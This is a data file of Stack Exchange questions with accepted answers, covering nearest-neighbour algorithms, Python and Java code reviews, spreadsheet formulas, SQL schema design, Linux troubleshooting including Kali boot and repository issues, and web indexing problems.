{  "id": "_cstheory.18410"  , "question": "If you have n points in 2d space, how quickly can you report the k nearest points to every point under Euclidean distance? If it helps speed things up we can ignore points that are more than some distance away as well so potentially return fewer than k. A randomized or approximate solution would also be interesting.One solution is to build a kd tree and do an independent look up for every point. Is this as good as it gets?"  , "title": "Finding k nearest neighbors for all points"  , "tags": "ds.algorithms"  , "accepted_answer": "$O(kn+n\\log n)$. SeeP.B. Callahan, S.R. Kosaraju, A decomposition of multidimensionalpoint sets with applications to k-nearest-neighbors and n-body potential elds, J. ACM 42 (1995) 6790.In some models of computation the $O(n\\log n)$ part can be reduced or removed; see alsoT. M. Chan, Well-separated pair decomposition in linear time?, Inf. Proc. Lett. 2008."  } 
{  "id": "_webapps.44082"  , "question": "Wikipedia currently has a notification at the top of every single page saying that some accounts will be renamed due to a technical change when I am logged in. Clicking on Read more doesn't really explain much to me. What is it all about?"  , "title": "What does Wikipedia mean when they say some accounts will be renamed due to a technical change?"  , "tags": "wikipedia;wiki"  , "accepted_answer": "Wikipedia is currently trying to rename accounts that are currently not global. As you know, the English Wikipedia is only one of the many wikis available on the network of wikis owned by the Wikimedia Foundation. Many years ago, they decided to implement something called Single User Login (SUL) so that users can just log in on one wiki and be logged in on every single wiki on the network. This is provided that an account is considered global.This should not affect many people, as most of our accounts are created after this change was implemented, which means your account may be global as well. You can visit Special:Preferences to check this. If not, you most likely have received a notification about this change personally sent to you, and your account will be renamed automatically so that it can become a global account.Generally, you don't have to do anything, as this only affects a small number of users only. If you are one of these users, you would have to wait till August 2013 for your account to be automatically renamed before you can request for a proper name change on Meta. In the meantime, your username after this change would be in the form <user>~enwiki (if you have an account on the English Wikipedia."  } 
{  "id": "_codereview.67611"  , "question": "I'm given a hexadecimal number in string form with a leading 0x that may contain 1-8 digits, but I need to pad the number with zeros so that it always has 8 digits (10 characters including the 0x).For example:0x123 should become 0x00000123.0xABCD12 should become 0x00ABCD12.0x12345678 should be unchanged.I am guaranteed to never see more than 8 digits, so this case does not need to be handled.Right now, I have this coded as:padded = '0x' + '0' * (10 - len(mystring)) + mystring[2:]It works, but feels ugly and unpythonic.  Any suggestions for a cleaner method?"  , "title": "Padding a hexadecimal string with zeros"  , "tags": "python;python 2.7;formatting"  , "accepted_answer": "Perhaps you're looking for the .zfill method on strings. From the docs:Help on built-in function zfill:zfill(...)    S.zfill(width) -> string    Pad a numeric string S with zeros on the left, to fill a field    of the specified width.  The string S is never truncated.Your code can be written as:def padhexa(s):    return '0x' + s[2:].zfill(8)assert '0x00000123' == padhexa('0x123')assert '0x00ABCD12' == padhexa('0xABCD12')assert '0x12345678' == padhexa('0x12345678')"  } 
{  "id": "_webapps.102567"  , "question": "I have looked at adding or subtracting time for spreadsheet, but haven't found a way to easily do this yet:Suppose I start the clock at 7am.I would like to have a way to calculate the accumulated minutes for the tasks to be done and display what the current time should be after having completed the said task (input as minutes).In the example below, A is the input in minutes, B is the calculated current time from the minutes from 7am. It goes on down the rows. I expect some formatting manipulations would be need as well for time.A     |  B     | C0min  | 7:00am | Start10min | 7:10am | warmup5min  | 7:15am | techniques4min  | 7:19am | first drillsHope this is something easy. I just can't quite figure where to start looking correctly."  , "title": "Add up Time Used in Minutes for Spreadsheet or Doc Table"  , "tags": "google spreadsheets"  , "accepted_answer": "With A3:An formatted as number as shown and B2:Bn formatted as time as shown then in B3:=B2+A3/1440copied down to suit should serve."  } 
{  "id": "_cs.68387"  , "question": "The textbook The Nature of Computation uses the following definition of quasipolynomial time:  A quasipolynomial is a function of the form $f(n) = 2^{\\Theta(\\log^k n)}$ for some constant $k > 0$, where $\\log^k n$ denotes $(\\log n)^k$. Let us define QuasiP as the class of problems that can be solved in quasipolynomial time.So presumably the definition for QuasiP could be written $TIME(\\bigcup_k 2^{\\Theta(\\log^k n)})$. However every other definition I've found on the web, in particular the one from Wikipedia, suggests the alternative definition $TIME(\\bigcup_k 2^{O(\\log^k n)})$.Now I can't see how these definitions are supposed to be equivalent. In fact I can imagine that there's a function $f$ that requires $2^{\\log n}$ steps for even values of $n$ and $1$ step for odd values of $n.$ $f$ would fail to be in $2^{\\Theta(\\log^0 n)}$ because of the even values of $n$ and it would fail to be in $2^{\\Theta(\\log^k n)}$ for any $k > 0$ because of the odd values of $n$. However $f$ is still in $2^{O(\\log^1 n)}$.So apparently such an $f$ is in QuasiP according to the second definition but not according to the first. Did I make a mistake in the reasoning here? And if not am I correct in assuming that the definition in The Nature of Computation is erroneous?"  , "title": "Conflicting definitions of quasipolynomial time"  , "tags": "terminology;time complexity;asymptotics;landau notation"  , "accepted_answer": "The equality$Time\\left(\\bigcup\\limits_k 2^{O\\left(\\log^k n\\right)}\\right)=Time\\left(\\bigcup\\limits_k 2^{\\theta\\left(\\log^k n\\right)}\\right)$is an equality betweeen two sets of languages decidable by certain Turing machines, and not an equality between sets of functions $f:\\mathbb{N}\\rightarrow\\mathbb{N}$.The function you constructed is an example of a function in $\\bigcup\\limits_k 2^{O\\left(\\log^k n\\right)}\\setminus \\bigcup\\limits_k 2^{\\theta\\left(\\log^k n\\right)}$, but this does not contradict the above equality.Let $L\\in Time\\left(2^{O\\left(\\log^k n\\right)}\\right)$ for some $k\\in\\mathbb{N}$, be a language decidable by a Turing machine which runs in time $2^{O\\left(\\log^k n\\right)}$. You can simply construct an equivalent Turing machine which runs in time $2^{\\theta\\left(\\log^k n\\right)}$ by adding redundant steps in case the computation ended too quickly, and this shows $L\\in Time\\left(2^{\\theta\\left(\\log^k n\\right)}\\right)$."  } 
{  "id": "_codereview.155716"  , "question": "I'm making my first simple project which I decided would be a calculator and I'm kind of stuck on implementing the operations. I have two classes one of which is the GUI part and the other one represents all the processes 'inside' of the calculator. I decided to use BigDecimals instead of doubles. The problem is I really like the idea of putting all the possible calculator's operations in an enum associating their names with the mathematical operations they perform and the signs they are represented by.Here is the yet incomplete class:    final class Workings {        private BigDecimal operand1, operand2, memory;        private int precision;        private JTextField screen;        Workings (int precision, JTextField screen)             ....        }        enum Operation {            ADDITION(+, Ary.BINARY) {                BigDecimal apply(BigDecimal op1, BigDecimal op2, int scale) {                    return op1.add(op2);                }            },            SUBTRACTION(-, Ary.BINARY) {             BigDecimal apply(BigDecimal op1, BigDecimal op2, int scale) {                    return op1.subtract(op2);                }            },            MULTIPLICATION(*, Ary.BINARY) {                BigDecimal apply(BigDecimal op1, BigDecimal op2, int scale) {                    return op1.multiply(op2);                }            },            DIVISION(/, Ary.BINARY) {                BigDecimal apply(BigDecimal op1, BigDecimal op2, int scale)                    throws DivideByZeroException {                    if(op2.signum() == 0)                        throw new DivideByZeroException();                    return op1.divide(op2, scale, RoundingMode.HALF_UP);                }            },            ...;            abstract BigDecimal(BigDecimal op1, BigDecimal op2, int scale);            private enum Ary {                UNARY, BINARY            }            private final String symbol;            private final Ary ary;            Operation (String symbol, Ary ary) {                this.symbol = symbol;                this.ary = ary;            }            String getSymbol() { return symbol; }        }    }At first I didn't even know such constant-specific method implementations in enums were possible but it turns out Joshua Bloch presents them also on the example on calculator in Effective Java Second Edition (item 30). Only it gets a little bit more complicated with BigDecimals as well as unary operations (like square or square root for instance). The hard part for me is that the methods need different parameters. For example I don't need the scale unless I want to divide and I don't need two operands if i want to compute the square root. I think it's not very elegant to take unnecessary parameters. On the other hand this approach automatizes things and minimizes the space for error when expanding the class. One more thing I keep in mind is that it would be nice to have all the buttons in one enum. It would complicate things even further if i tried to add, for instance,  operations on the calculator's memory since they would again need different parameters.I've come up with a few solutions but none of them is perfect. Here are two of them:The instance variables (operand1, operand2, memory) could be made static so that the methods in enum can freely use them without passing and returning themThe calculator operations could simply be instance methods of the Workings class and the 'enum' would only hold the names and symbols of operations:final class Workings {private BigDecimal operand1, operand2, memory;private int precision;private JTextField screen;Workings (int precision, JTextField screen)     ...}void addition() {    operand1 = operand1.add(operand2);}void subtraction() {    operand1 = operand1.subtract(operand2);}...enum Operation {  // new enum    ADDITION(+), SUBTRACTION(-), MULTIPLICATION(*),    DIVISION(/), SQUARE(x^2), SQUARE_ROOT(x),    MEMORY_RECALL(MR), MEMORY_ADD(M+), MEMORY_SUBTRACT(M-),    ZERO(0), ONE(1), TWO(2)    ... ;    private final String symbol;    Operation (String symbol) {        this.symbol = symbol;    }    String getSymbol() { return symbol; }}}But then each of them would have to be connected manually with corresponding methods.Is there a better approach to do that?"  , "title": "Enum of calculator operations"  , "tags": "java;swing;calculator;enum;static"  , "accepted_answer": "But then each of them would have to be connected manually with corresponding methods.When you look closer on that statement you have to do this manual connection between the enum and the actual code that performs the operation anyway. When you write that code in the enums implementation of the abstract method it is exactly that: manually connecting the enum and the code. This still leaves us with the question where we should create this connection. While you use Swing I'd suggest to do it in the View/Controller (since swing does not support strict separation of them...)public class CalulatorViewController{  private final JTextComponent precisionInput = new JTextField();   private final JTextComponent operandInput = new JTextField();  private final JTextComponent calculationDisplay  = new JTextArea(30,5);  private BigDecimal accumulator = BigDecimal.ZERO;  public CalulatorViewController(Container mainPanel){    mainPanel.setLayout(new BorderLayout());    mainPanel.add(createTextInputAndOutputPanel(),BorderLayout.CENTER);    mainPanel.add(createButtonPanel(),BordrLayout.BOTTOM);  }   private void createTextInputAndOutputPanel(){     // not important for now  }   private void createButtonPanel(){    JPanel buttonPanel= new JPanel(new GridLayout(0,7)); // 7 columns, rows as needed...    buttonPanel.add(new JButton(new AbstractAction(1){        public void actionPerformed(ActionEvent ae){           operandInput.setText(operandInput.getText()+1);        }      });    buttonPanel.add(new JButton(new AbstractAction(2){        public void actionPerformed(ActionEvent ae){           operandInput.setText(operandInput.getText()+2);        }      });    buttonPanel.add(new JButton(new AbstractAction(3){        public void actionPerformed(ActionEvent ae){           operandInput.setText(operandInput.getText()+3);        }      });      });    buttonPanel.add(new JButton(new AbstractAction(+){        public void actionPerformed(ActionEvent ae){           accumulator= accumulator.add(new BigDecimal(operandInput.getText()));        }      });            // continue for all the buttons you need    return buttonPanel;  }This might look like lots of duplicated code. And you're right.Good thing is that you can collect things with same behavior in classes:// this could be in a file of its own...class NumberButtonAction extends AbstractAction{    private final JTextComponent operandInput;   private int number;   NumberButtonAction(JTextComponent operandInput, String number){     super(number);     this.operandInput = operandInput;        }       public void actionPerformed(ActionEvent ae){      operandInput.setText(operandInput.getText()+getValue(Action.NAME).toString());   }} private void createButtonPanel(){    JPanel buttonPanel= new JPanel(new GridLayout(0,7)); // 7 columns, rows as needed...    buttonPanel.add(new JButton(new NumberButtonAction(operandInput, 1)));    buttonPanel.add(new JButton(new NumberButtonAction(operandInput, 2)));// got the idea?The OperatorButtonActions must have an individual implementation tough because each has a different behavior. But never the less they could be placed as top level custom classes in their own files.And this is what OOP is all about: separate concerns and limit the responsibilities of the individual parts of your code.First make your code run without thinking to much about the design (which does not men that you should not think about design at all). Afterwards reduce code duplication as much as possible (aka refactoring). Here you might introduce new classes and/or create parameterized methods.Writing UnitTest (and doing it before the production code) will support the  refactoring."  } 
{  "id": "_unix.151174"  , "question": "I am trying to find the proper terminology for the problem I am having so I can hunt down a solution.I am using the nouveau driver. When the mouse pointer becomes a grabbing hand, a box forms around it that no longer shows the proper image on the screen. It shows the screensaver image (if one is set) or a black image (if there is no screen saver). It is as though the screen saver is behind the image of the desktop and I am getting a square box that tears through it to see behind the desktop.My searches keep turning up vanishing cursors, cursors that don't move, cursors using the wrong image, etc... I cannot find anyone describing the problem of seeing through to the background around the cursor.If this helps, this is a more technical description of what I am seeing, based on my understanding of how X works: When a part of the screen needs to be updated, a bounding box is defined that encompasses the area. X, eventually, updates the graphics in that area. As you move your mouse around, you tell X that it needs to redraw around your pointer - otherwise you would have a pointer smeared all over the desktop. For nearly all versions of the cursor (pointer, paragraph, scroll) this works fine. When I have a grabbing hand, such as the one when you mouse over Google Maps, the box is sent to X. Instead of updating it with the proper image, it is updating it with my screensaver image. Then, a second later, it updates it with the proper image. So, as I move my mouse over Google Maps, I see a square of my screensaver surrounding the little hand."  , "title": "Nouveau cursor tearing"  , "tags": "xorg;cursor;nouveau"  } 
{  "id": "_softwareengineering.290316"  , "question": "I have an actor which is having three asynchronous web service calls. Lets say A,B and C. All return promise objects which has their respective response. I added loggers processA,processB,processC respectively.Now I use F.Promise.sequence(promiseA, promiseB, promiseC) [Play]and applies some logic by using flatmap and for each [Java]. I added loggers logA, logB and logC respectively. What would be the order of loggers? will it be like once after complete processing a web service call, the respective operations call ? Please explain the concepts of promise and combining multiple promise through Play F.Promise.sequence."  , "title": "Promise Akka Play Java Sequence"  , "tags": "java;playframework;akka"  } 
{  "id": "_unix.116402"  , "question": "ls -laLR /home/tools > all_site1.txtI need the state of all folders and files in subfolders of /home/tools. With this command I put all in this file. What I need now is a solution how to parse from this file all_sites1.txt only lines where owner of dir or owner of the file is root.I tried this:awk '/root/{print $0}' all_sites1.txtBut I get all places where root occurs. I need only those entries where owner is root and what file and/or dir is to be printed."  , "title": "parsing file from ls -laLR"  , "tags": "text processing;sed;find;awk"  , "accepted_answer": "If you are looking to save the state of folders/files, getfacl is a much better command to use. You could do the following:getfacl -LR /home/tools >all_site1.txtOne thing to note though is that the behaviour of the -L option is different from that of ls. It only follows symlinks to directories and not files.You could print the output of files owned by root like this (provided none of the paths contain newlines):awk '$2==file: && file_line=$0 {}  $2==owner: && $3==root { print substr(file_line,9) }' \\  all_sites1.txt"  } 
{  "id": "_codereview.155359"  , "question": "I have a small script that checks what the user selects, and based in his selection (1, 2 or 3) show the elements, but I'm not quite happy with the result. I believe that it could be much better the code, and repeat less times, here is my code example.$(function() {            //Hide elements            $('#input').hide();            $('#textarea').hide();            $('#option').hide();            //Show element based on selection            $('#input_type').change(function(){    // use class or use $('select')                var option_selected = $(this).val();                switch(option_selected) {                    case 1:                        $('#input').show();                        $('#textarea').hide();                        $('#option').hide();                        break;                    case 2:                        $('#textarea').show();                        $('#input').hide();                        $('#option').hide();                        break;                    case 3:                        $('#option').show();                        $('#textarea').hide();                        $('#input').hide();                        break;                    default:                        $('#input').hide();                        $('#textarea').hide();                        $('#option').hide();                }            });        });"  , "title": "Show input type based on selection"  , "tags": "javascript;jquery"  } 
{  "id": "_unix.39211"  , "question": "ContextI do not know all standard linux/unix commands, so I need manpages.I found QNX's manuals (invoked by use [command name]) terse; I prefer them to linux manpages.I can get them from QNX with shell script, but I need to have QNX installed and it seems system does not have use for all commands.QuestionIs there archive of QNX's use messages on internet?"  , "title": "Archive of QNX's use messages?"  , "tags": "man;qnx"  , "accepted_answer": "I just found them here: http://www.esrl.noaa.gov/gmd/dv/hats/cats/stations/qnxman/ "  } 
{  "id": "_cs.70245"  , "question": "In chapter 2 of this book the map overlay algorithm, which takes as inputs two doubly connected edge lists, is explained. Basically a line intersection algorithm allows to update both the half edges records and the vertices records. After such step the detection of boundary cycles is applied, and later a graph is built, where each connected component represents a new face record. It is explained how to detect whether a boundary cycle is clockwise or not, but I'm not sure how an overall module that implements this part should work. Say I have a DCEL where the face records are not valid, but both the half-edges and the vertices are, do you know any detailed algorithm the actually build the graph? Even a pseudocode is fine. I can understand how to implement the boundary cycles detection, I would iterate through the half-edges list, navigate through the next record, remove such record from the list and when I reach the initial half-edge I would go to the next half-edge of the list and repeat. I would put such sub list of half edges into another list so I would have a list of boundary cycles. I would also label each element of the boundary cycles list as clock wise or anti-clockwise based on the trick the book explains. Once I have such a list how do I figure out what boundary cycles are incident to the same face? In practice what's the test applied?"  , "title": "Map overlay, any algorithm for face updating step?"  , "tags": "graphs;computational geometry"  } 
{  "id": "_unix.384555"  , "question": "I have some issue to boot to Kali since i reboot the computer. I don't think i install some software, but i may be have run apt-get update since the last success boot.With the kernel 4.9.0-Kali4-amd64, the system fails booting with the following message:[ powerplay ] VBIOS did not find boot engine clock value in dependency  table. Using Memory DPM level 0!In recovery mode the system boot stop progressing at the following step:admgpu 0000:0a:00.0: GPU pci config resetI have a multi boot with windows 10 who is still working.The system is running on a HP laptop with intel i5-5200 cpu and ADM R5 m255 GPUAny clue how i can solve my boot issue?thanks"  , "title": "Boot issues - GPU pci config reset"  , "tags": "kali linux;configuration;gpu;pci"  } 
{  "id": "_webmaster.93155"  , "question": "Almost 3 months ago I've put no-index tag to about 3,000 pages on my website and 301 redirect (which is permanent redirect) for almost 15,000 pages. (The all site is about 50,000 pages)And yet as for today, all of these pages are still appearing in google index.I've also updated the sitemap.What can cause it? any advice?example of no-index page: http://www.carz.co.il/review/8186example of 301 redirect page:http://www.carz.co.il/gen/491/overview/2010/All other pages are exactly the same (same meta tags, HTTP response etc..)according to Google webmaster tools there are about 4000 pages crawled per day."  , "title": "301 and no-index tag don't work"  , "tags": "301 redirect;googlebot;google index"  } 
{  "id": "_webmaster.25180"  , "question": "I am getting error on FireFox connection partially encrypted other browsers show that's not encrypted... When I setup apache with ssl I use /var/www/html/ for default directory, but all scripts are in /var/www/cgi-bin/ so is there a problem? or I'am on wrong way?But when switch to /var/www/ I get an default CentOS web. (Like new server)Maybe, someone have an ideas?Thanks in advance.Strelson"  , "title": "connection partially encrypted, SSL for perl app"  , "tags": "https;httpd.conf"  } 
{  "id": "_codereview.107422"  , "question": "I've been working on Bill of Materials mini schema for a while. At first I had single Part table where I've referenced itself. I was told it would be better to have separate table because we'd need to have info like quantity and that quantity is not part of Part itself. Here's the script...CREATE TABLE Part(    ID INT NOT NULL PRIMARY KEY IDENTITY,    PartNumber NVARCHAR(50) NULL,    [Description] NVARCHAR(MAX) NULL,    ListPrice DECIMAL(12,2) NULL)CREATE TABLE BOM(    ID INT NOT NULL PRIMARY KEY IDENTITY,    PartId INT NOT NULL,    ParentId INT NULL,    Quantity INT NULL)ALTER TABLE BOM ADD CONSTRAINT BOM_PartId_FKFOREIGN KEY (PartId) REFERENCES Part(ID)ALTER TABLE BOM ADD CONSTRAINT BOM_ParentId_FKFOREIGN KEY (ParentId) REFERENCES Part(ID)insert into Part (PartNumber, Description, ListPrice) values ('AAA', 'A', 250.00)insert into Part (PartNumber, Description, ListPrice) values ('AA', 'A', 100.00)insert into Part (PartNumber, Description, ListPrice) values ('BBB', 'B', 250.00)insert into Part (PartNumber, Description, ListPrice) values ('BB', 'B', 90.00)insert into Part (PartNumber, Description, ListPrice) values ('B', 'B', 40.00)insert into BOM (PartId) values (1)insert into BOM (PartId, ParentId, Quantity) values (2, 1, 5)insert into BOM (PartId, ParentId, Quantity) values (4, 3, 10)insert into BOM (PartId, ParentId, Quantity) values (5, 4, 50)insert into BOM (PartId, ParentId, Quantity) values (4, 1, 50)Would this be ok as beginner BOM schema?I've tested with the below query, this gets immediate children of BOM with ID of 1.select e.*from BOM bjoin BOM e on b.PartId = e.ParentIdwhere b.ID = 1I will recursively call this from c# to populate children from any level in the BOM, but usually top most level."  , "title": "Basic Bill of Materials schema"  , "tags": "beginner;sql;sql server"  , "accepted_answer": "You're mixing up casing styles for T-SQL keywords - pick one: ANNOYINGCASE or readablecase, but don't use both in the same script. I have no bias or preference whatsoever for either*, all that matters is consistency.Semicolons are not required to indicate the end of a statement, but they are nonetheless a good habit to have.You inline primary keys and let the server name them. I might have a fetish for naming things, but I like my PK's named PK_TableName.Speaking of naming, the Part table should be named Parts, and should probably have a natural key in the form of a unique constraint on the PartNumber column... which I find is a redundant name - Number would be better.Foreign keys have potentially ambiguous names, or will be when your schema grows. I like naming my FK's FK_ReferencedTable_AlteredTable[_ColumnName], where the [_ColumnName] part is only needed for when there are multiple FK's on the same table referencing the same table, like when an OrderHeaders table references a FiscalCalendars table with its OrderDateCalendarId, ShipDateCalendarId and CancelDateCalendarId, which would respectively be FK_FiscalCalendars_OrderHeaders_OrderDate, FK_FiscalCalendars_OrderHeaders_ShipDate and FK_FiscalCalendars_OrderHeaders_CancelDate. So in your case that would be FK_Parts_BillOfMaterials and FK_BillOfMaterials_BillOfMaterials. Being rigorously consistent about naming foreign keys makes it easy to instantly know what tables are involved and in which direction, just by looking at the FK's name. Oh, and I agree with @RubberDuck - use BillOfMaterials, and keep bom for table aliases when querying the schema.You're not specifying the schema you're creating the tables in. Better be explicit; you're not specifying the seed for your IDENTITY columns - again, better be explicit.I hate to see Description be syntax-highlighted in SSMS - I like that you're avoiding that by enclosing the name in square brackets. But then, the issue could be avoided altogether by calling the column Name instead - that way you don't have to use square brackets everywhere, and Description doesn't stick out like a sore thumb by being the only name using square brackets.That said, NVARCHAR(MAX) has implications that make it an annoying field, especially if the longest description/name is going to be 200, or even 1024 characters. Don't use MAX for anything below 4000 characters.Also, I think you're abusing NULL columns. Does a part that has no number, no description and no price really make sense? Wouldn't that rather be an empty number, an empty description and a 0 price?Comma-first style makes it easier to change the order of the columns if you ever want to do that.Lastly, and again this might be just me, but I like when I can run a T-SQL script twice in a row without it blowing up or doing weird things.Putting it all together (making a few assumptions):use [database_name]; -- trust me, this one is a life savergo;/* drop FK constraints */if exists (select * from sys.foreign_keys where name = 'FK_BillOfMaterials_BillOfMaterials')    alter table BillOfMaterials drop constraint FK_BillOfMaterials_BillOfMaterials;if exists (select * from sys.foreign_keys where name = 'FK_Parts_BillOfMaterials')    alter table BillOfMaterials drop constraint FK_Parts_BillOfMaterials;/* drop tables */if exists (select * from sys.tables where name = 'Parts')    drop table Parts;if exists (select * from sys.tables where name = 'BillOfMaterials')    drop table BillOfMaterials;/* create tables */create table dbo.Parts (     Id int identity(1,1) not null    ,Number nvarchar(50) not null    ,Name nvarchar(250) not null    ,ListPrice decimal(12,2) not null -- 2 decimals might be a little short in some cases    ,constraint PK_Parts primary key clustered (Id)    ,constraint NK_Parts unique (Number) -- NK == Natural Key (assumption here));create table dbo.BillOfMaterials (     Id int identity(1,1) not null    ,PartId int not null    ,ParentId int null    ,Quantity int not null    ,constraint PK_BillOfMaterials primary key clustered (Id));/* add FK constraints */alter table dbo.BillOfMaterials add constraint FK_BillOfMaterials_BillOfMaterials     foreign key (ParentId) references dbo.BillOfMaterials (Id);alter table dbo.BillOfMaterials add constraint FK_Parts_BillOfMaterials     foreign key (PartId) references dbo.Parts (Id);*cough"  } 
{  "id": "_codereview.168800"  , "question": "I came across a situation where I needed code to run every n invocations of a method.  Specifically, I was clearing out massive amounts of data and needed to hint to the VM that it should run garbage collection.  My solution was a little more condensed than this, but this class offers reuseability and ensures accurate counts.public class ExecutionLimiter {    private final AtomicInteger ai = new AtomicInteger(0);    private final Runnable task;    private final int runEvery;    public ExecutionLimiter(Runnable task, int runEvery){        this.task = task;        this.runEvery = runEvery;    }    public boolean tryRun(){        synchronized(ai){            if(ai.incrementAndGet() != runEvery) return false;            ai.set(0);        }        task.run();        return true;    }    public static void main(String... args) throws InterruptedException{        AtomicInteger example = new AtomicInteger(0);        ExecutorService service = Executors.newWorkStealingPool(5);        ExecutionLimiter limiter = new ExecutionLimiter(example::incrementAndGet, 10);        int invocations = 100;        for(int i=0;i<invocations;i++){            service.submit(()->{                try{                    Thread.sleep(Math.round(Math.random() * 1000));                }catch(InterruptedException ignore){}                if(limiter.tryRun())                    System.out.println(Thread.currentThread().getName() +                            : Successfully ran: value is  + example.get());            });        }        service.shutdown();        service.awaitTermination(invocations, TimeUnit.SECONDS);    }}I can't help but feel that something like this exists already in Java, but I haven't been able to find it.  The closest I've come is CyclicBarrier, but I don't want to hang my threads while incrementing.A few concerns:Is AtomicInteger overkill for this class?  Would it be better to use an int and synchronize on a lock Object?Should I be synchronizing AtomicInteger to perform the incrementAndGet-and-set, or is there a better way to go about this?The main is just for demonstration."  , "title": "Run code every n invocations"  , "tags": "java;multithreading"  , "accepted_answer": "        synchronized(ai){            if(ai.incrementAndGet() != runEvery) return false;            ai.set(0);        }You should either use AtomicInteger or use synchronized.  Using both together is certainly overkill.  Consider     private static int count = 0;    private static final Object lock = new Object();and later         synchronized (lock) {            if (++count != runEvery) {                return false;            }            count = 0;        }Then you don't need the AtomicInteger at all.  I prefer a descriptive name like count to an abbreviated type name like ai.  This is especially so in this case, as my natural expansion of AI is Artificial Intelligence.  You use AtomicInteger when you don't want to use a synchronized block.  Perhaps         int current = ai.incrementAndGet();        if (current % runEvery != 0) {            return false;        }        int next = 0;        do {            if (ai.compareAndSet(current, next) {                task.run();                return true;            }            current = ai.get();            next = current - runEvery;        } while (next >= 0);Obviously this is more complicated than the synchronized version.  But this is how one uses an AtomicInteger.  The modulus is more reliable in case of high contention that keeps compareAndSet from returning true.  If we aren't worried that the count will overflow the bounds of integer, we can get rid of the reset.  Without the reset, this makes more sense:          if (ai.incrementAndGet() % runEvery != 0) {            return false;        }That's how an AtomicInteger is supposed to work.  Even if two threads call this code at the same time, only one will get past the check.  Because the update happens atomically.  The problem with the original code is that there are actually two updates and you need to synchronize them.  Of course, if the range for ai is not constrained, then it will overflow eventually.  The synchronized block is more reliable in that case.  This usage fits synchronized better than atomic types because there's no atomic increment, compare, and reset operation.  You could also use an explicit Lock here, but you don't seem to need it.  The blocking behavior of synchronized better matches what you are doing.  The lock would be better if it were OK to only sometimes update (when you can get the lock) and sometimes not (when you can't get the lock).  But that's not what you are doing here.  It would be possible to create a new class with the necessary method (countCompareReset), but it may be simpler just to use the lock variable with the synchronization block.  "  } 
{  "id": "_webmaster.95908"  , "question": "I bought a website with its subdomains registred as 3rd level domain name so main site is e.g. example.com and subdomains e.g. en.example.com, de.example.com, etc.I deleted subdomains from DNS because I want only example.com but in Google search results there are yet subdomains.What I have to do in order to remove all subdomains from search results?Using search console and submit URLs to remove would be stressful."  , "title": "Remove subdomain from Google"  , "tags": "google index"  } 
{  "id": "_codereview.25583"  , "question": "I'm a bit confused if saving the information to session code below, belongs in the controller action as shown below or should it be part of my Model? I would add that I have other controller methods that will read this session value later.public ActionResult AddFriend(FriendsContext viewModel){    if (!ModelState.IsValid)    {                        return View(viewModel);    }    // Start - Confused if the code block below belongs in Controller?    Friend friend = new Friend();    friend.FirstName = viewModel.FirstName;    friend.LastName = viewModel.LastName;    friend.Email = viewModel.UserEmail;                httpContext.Session[latest-friend] = friend;    // End Confusion    return RedirectToAction(Home);}I thought about adding a static utility class in my Model which does something like below, but it just seems stupid to add 2 lines of code in another file.public static void SaveLatestFriend(Friend friend, HttpContextBase httpContext){    httpContext.Session[latest-friend] = friend;}public static Friend GetLatestFriend(HttpContextBase httpContext){    return httpContext.Session[latest-friend] as Friend;}"  , "title": "Saving data to a session"  , "tags": "c#;asp.net mvc;session"  } 
{  "id": "_unix.227898"  , "question": "Can I add the following debian wheezy repository to kali 2.0 source list or will it hurt my system? Because I know kali was built on debian wheezy.deb http://httpredir.debian.org/debian wheezy main contrib non-freedeb-src http://httpredir.debian.org/debian wheezy main contrib non-freedeb http://httpredir.debian.org/debian wheezy-updates main contrib non-freedeb-src http://httpredir.debian.org/debian wheezy-updates main contrib non-freedeb http://security.debian.org/ wheezy/updates main contrib non-freedeb-src http://security.debian.org/ wheezy/updates main contrib non-free"  , "title": "Can I add officials debian repository to kali 2.0 source list"  , "tags": "debian;kali linux;repository"  , "accepted_answer": "Kali Linux 2.0 is based on Jessie and is, from now on, a rolling release, where they pull packages from Debian testing.This makes it a complicated situation. It could (!) work for now flawlessly to use jessie sources beside but you will probably run into situations where you get problems with broken packages.You could work around these problems by using the appropriate sources for your needs and keep the impact minimal by pinning carefully."  } 
{  "id": "_webmaster.5599"  , "question": "I asked this at superuser but I'm having no joy there. I was really hoping someone could help because I'm stumped.I use a MacBook Pro running Mac OS X 10.6.4For a few years I have used MAMP to test websites locally but suddenly and for no apparent reason when I start the MAMP servers the mysql light stays red.I'm not very clued up on how to actually run a server which is the main reason I use MAMP. I also have Sequel Pro installed for administering my databases. When I try to connect to mysql in Sequel Pro through a socket connection it saysThe socket file could not be found in any common location. Please supply the correct socket location.and thenMySQL said: Can't connect to local MySQL server through socket 'tmp/mysql.sock' (2)I can connect and access all my databases if I connect with host 127.0.0.1 but I used to just connect through the socket and all was fine. Also all my testing sites which I hosted locally are no longer being processed by PHP.I have no idea why this suddenly stopped working and any light someone could shine on the matter would be very much appreciated. A solution even more so.Thanks."  , "title": "Why has mysql stopped working on localhost and how do I fix it?"  , "tags": "php;mysql"  } 
{  "id": "_codereview.61933"  , "question": "The below idea seemed to look clean, to allow the object itself to validate its values for different scenarios. For eg: While creating the object, the value of Object1 and Object2 in SelfValidator object should be validated for not null.At one scenario like inserting the SelfValidator object to Database, validation of value1 as non-zero has to be done, which is not necessary for an Update. A new validate function: validateForInsert(), which will validate and set the error data, can be included to SelfValidator class.  But I am sure, there might be some drawbacks, design flaws, which I would like to understand and improve. ErrorInfo.javapublic class ErrorInfo {  String errorMessage = ;  public void setErrorMessage(String errorMessage) {    this.errorMessage = new StringBuffer(this.errorMessage).append(\\n+).append(errorMessage).toString();  }}SelfValidator.javapublic class SelfValidator {  String object1;  String object2;  int value1;  ErrorInfo errorInfo;  public ErrorInfo getErrorInfo() {    return errorInfo;  }  public SelfValidator(String object1, String object2, int value1) {    super();    this.object1 = (object1 == )?null: object1;    validate(this.object1, object1);    this.object2 = (object2 == )?null: object2;    validate(this.object2, object2);    this.value1 = value1;  }  private void validate(String value, String dataMember) {    if(value == null){        if(errorInfo == null){            errorInfo = new ErrorInfo();        }        errorInfo.setErrorMessage(dataMember + value is invalid);    }  }}Demonstrator.javapublic class Demostrator {  public static void printValidOrNot(ErrorInfo errorInfo){    if(errorInfo == null){        System.out.println(Object valid);        //Proceed with manipulating the object    }else{        System.out.println(errorInfo.errorMessage);        // Break and handle the error.    }  }  public static void main(String[] args) {    SelfValidator selfValidatingObject1 = new SelfValidator(Test, Test, 1);    printValidOrNot(selfValidatingObject1.getErrorInfo());    SelfValidator selfValidatingObject2 = new SelfValidator(, , 1);    printValidOrNot(selfValidatingObject2.getErrorInfo());  }}"  , "title": "Error-handling / Self-Validating mechanism"  , "tags": "java;validation;error handling"  } 
